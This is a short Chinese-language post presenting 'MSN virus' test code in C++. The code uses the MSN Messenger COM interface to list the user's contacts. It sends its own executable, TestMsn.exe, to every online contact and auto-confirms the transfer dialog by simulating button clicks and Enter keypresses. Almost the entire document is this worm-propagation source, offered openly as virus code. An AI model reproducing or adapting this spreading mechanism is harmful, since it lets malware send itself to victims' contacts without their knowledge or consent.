MSN病毒原理及测试代码

下面是测试代码,只有通过MSN传送文件部分

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#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include "msgruaid.h"   //这两个头文件就是接口的定义
#include "msgrua.h"     //有兴趣的同学可以在网上找找(没找着可以找我要)
#include <comutil.h>

int main(int argc, char* argv[])
{
IMessenger *pIMessenger = NULL;   //a pointer to an IMessenger interface
  BSTR pbstrName, bstrFriendName;
  IMessengerContact *MsnContact;
  IMessengerContacts *MsnContacts;
  IMessengerWindow *pIMsnWindow;
  __MIDL___MIDL_itf_msgrua_0000_0002 dwStatus;
  VARIANT vaTemp;
BSTR bstrFileName;
char *szOpenDlg;
char szMsnWindowsClass[] = "IMWindowClass";
char szButtonText[] = "打开(&O)";
HWND hWnd = NULL, hBtn = NULL;
DWORD dwControlId = 0;
char szCurDir[MAX_PATH], szBuf[MAX_PATH];

  CoInitialize(0);   //初始化COM库
  CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger);   //创建一个实例
  pIMessenger->get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表
  pIMessenger->get_Window((IDispatch**)&pIMsnWindow);
  long nCount;
  MsnContacts->get_Count(&nCount);         //得到好友数
  for (int i = 0; i < nCount; i++)
  {
  MsnContacts->Item(i, (IDispatch**)&MsnContact);
  MsnContact->get_SigninName(&pbstrName);       //账号
  MsnContact->get_FriendlyName(&bstrFriendName); //签名
  szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName);
  MsnContact->get_Status(&dwStatus);
  if (dwStatus == MISTATUS_ONLINE)       //判断是否在线
  {
  GetCurrentDirectory(MAX_PATH, szCurDir);
  lstrcat(szCurDir, "//");
  lstrcat(szCurDir, "TestMsn.exe");
  lstrcpy(szBuf, "发送文件给 ");
  lstrcat(szBuf, szOpenDlg);
 
  bstrFileName = _com_util::ConvertStringToBSTR(szCurDir);
 
  vaTemp.vt = VT_BSTR;
  vaTemp.bstrVal = pbstrName;

  pIMessenger->SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow); //发送文件

  do
  {
 

  hWnd = FindWindow(NULL,szBuf);
  hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText);

  } while(!(hWnd && hBtn));

  dwControlId <<= 16;
  dwControlId |= 1;

  PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn));
  keybd_event(VK_RETURN, 0, 0, 0);
  keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0);


  }

  MsnContact->Release();
  MsnContacts->Release();
 
  pIMessenger->Release();   //释放相关资源
  CoUninitialize();
  ExitProcess(0);
  return 0;
}